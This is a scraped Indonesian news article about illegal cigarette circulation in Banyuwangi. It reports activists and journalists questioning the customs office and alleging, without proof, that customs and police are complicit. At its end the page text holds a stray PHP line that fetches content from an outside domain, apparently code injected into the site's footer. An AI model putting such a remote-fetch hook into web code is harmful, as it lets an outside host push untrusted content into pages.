Rokok Ilegal Menjamur, Ketum Aliansi SNI dan Tim Awak Media, Datangi Kantor Bea Cukai Banyuwangi

Selasa, 7 Mei 2024

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Banyuwangi | jejakkasus.info – Buntut penemuan seorang pasutri yang mengontrak rumah di daerah kelurahan tukang kayu yang diduga sebagai agen rokok ilegal, Ketua Umum Aliansi Setia Nawaksara Indonesia (SNI) Raden Teguh Firmasyah bersama beberapa Awak Media, dan Lembaga Swadaya Masyarakat (LSM) datangi Kantor Bea Cukai Banyuwangi untuk mempertanyakan kinera pihak Bea Cukai Banyuwangi.

“ Raden menemui salah satu petugas Bea Cukai Banyuwangi Ferdy panggilannya di kantornya untuk mempertanyakan tentang Kinerja Bea Cukai Banyuwangu untuk memberantas peredaran Rokok Ilegal yang ada di Banyuwangi, Rokok ilegal tidak akan terjadi kalau Bea Cukai Banyuwangi perketat penyelundupan rokok ilegal di Kabupaten Banyuwangi” Kata Raden, Selasa (7/5)

Raden menduga baik Polisi maupun pihak Bea Cukai Banyuwangi turut terlibat dalam operasi penyelundupan rokok Ilegal ke Wilayah Kabupaten Banyuwangi.

Baca Juga:  Direktorat Samapta Polda Jateng Turunkan 80 Personil Amankan Banjir Semarang

Dugaan itu muncul karena berbagai merek rokok Ilegal yang diselundupkan ke Wilayah Kabupaten Banyuwangi dengan aman dan lancar, tanpa tersentuhnya APH setempat,

“Penyelundupan rokok ilegal di Banyuwangi tentu masuk diduga lewat jalur laut, yang lokasinya dekat dengan tempat Bea Cukai berkantor, kalau mereka tidak terlibat, rokok ilegal ini pasti tidak tembus sampai ke Wilayah Banyuwangi” Kata Raden.

Raden mengatakan pengawasan pihak Bea Cukai Banyuwangi terkesan lamban dan sengaja membiarkan barang-barang Ilegal, seperti beberapa jenis rokok ilegal yang ditemukan oleh tim investigasi Media dan Lembaga. Yang beredar di Wilayah Kabupaten Banyuwangi.

“Ini pasti ada unsur kesengajaan, bisa saja mereka ambil keuntungan dari barang-barang Ilegal ini” Tambahnya.

Baca Juga:  Bupati Lampung Selatan Apresiasi Atlet Jati Agung Peraih Medali PON XX Papua

Dia menegaskan peredaran rokok Ilegal merupakan bagian dari tindakan melawan hukum sebagaimana ditentukan dalam pasal 54 UU RI Nomor 39 tahun 2007 tentang cukai.
“Pemerintah jelas telah mengatur terkait dengan penyaluran rokok sebagaimana diatur dalam pasal 54 UU Nomor 39 tahun 2007 tentang Cukai” Ungkap Raden.

” Setelah menemukan banyaknya peredaran rokok ilegal di banyuwangi, Ketum Aliansi SNI melaporkan kepada salah satu anggota Bea Cukai Banyuwangi, namun mendapatkan suatu jawaban yang dirasa kinerja Bea Cukai Banyuwangi Lamban dalam memberatas peredaran Rokok Ilegal.

Ferdy P2 Bea Cukai Banyuwangi saat di Konfirmasi oleh tim awak media, mengatakan bahwasannya kurang personil Bea Cukai Banyuwangi untuk di lapangan, ujarnya.

” Harus nya kan tidak di tangani sendiri, Bea Cukai harus nya berkolaborasi dengan pihak Kepolisian, Alasan kurang personil seakan tidak masuk akal, jelas Marta Yofi Winatha, Wakil Pimpinan Redaksi (Wapimred) Media Online Jejakindonesia.id,

Baca Juga:  Korem 045/Gaya Gelar Upacara Hari Kebangkitan Nasional Ke-115 Tahun 2023.

Dia juga meminta kepada Bea Cukai Banyuwangi agar segera memberantas pengendaran rokok ilegal di Wilayah Hukum Kabupaten Banyuwangi, sebab tidak hanya memakan korban dampak dari peredaran rokok Ilegal ini menurutnya merupakan tindakan melawan hukum sebagaimana dituang dalam pasal 54 UU RI Nomor 39 tahun 2007 tentang cukai.

“Polisi dan Bea Cukai harus segera ambil tindakan sebab peredaran rokok ilegal ini melanggar ketentuan Pasal 54 Nomor 39 tahun 2007 tentang cukai” pinta Marta. (Redaksi)

Dilarang Copy paste atau mengambil gambar tanpa seijin Redaksi, bisa dipidana

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Gubernur Lampung Didesak Jaga Netralitas, Mutasi Jabatan Selama Masa Politik Tuai Kecurigaan
Mau Tawuran di Ketapang Lamsel, 13 Pelajar Kocar-kacir Didatangi Polisi
Soal Minyak Goreng Kemasan Ilegal, Paslon Egi-Saiful Terancam Pasal Berlapis Hingga Pidana 5 Tahun Penjara
Banjir Dukungan, Umat Hindu Minta Nanang Ermanto Pimpin Kembali Lampung Selatan
Diduga Mengunakan Izin Usaha Palsu , Karoke De’Amore Disegel dan Terancam Di Tutup Kembali
DPP KAMPUD Beri Dukungan Kinerja Dan Apresiasi Kepada JPN Kejari Bandar Lampung
Debat Kandidat Gubernur Lampung 2024, DPP AKAR Soroti Kebijakan yang Tak Berpihak pada Rakyat
Kasus Camat Negeri Katon Langgar Netralitas ASN pada Pilkada Kini Ditangani Polisi

Berita Terkait

Minggu, 13 Oktober 2024 - 19:18 WIB

Gubernur Lampung Didesak Jaga Netralitas, Mutasi Jabatan Selama Masa Politik Tuai Kecurigaan

Minggu, 13 Oktober 2024 - 09:25 WIB

Mau Tawuran di Ketapang Lamsel, 13 Pelajar Kocar-kacir Didatangi Polisi

Sabtu, 12 Oktober 2024 - 20:32 WIB

Soal Minyak Goreng Kemasan Ilegal, Paslon Egi-Saiful Terancam Pasal Berlapis Hingga Pidana 5 Tahun Penjara

Sabtu, 12 Oktober 2024 - 18:48 WIB

Banjir Dukungan, Umat Hindu Minta Nanang Ermanto Pimpin Kembali Lampung Selatan

Jumat, 11 Oktober 2024 - 23:50 WIB

Diduga Mengunakan Izin Usaha Palsu , Karoke De’Amore Disegel dan Terancam Di Tutup Kembali

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>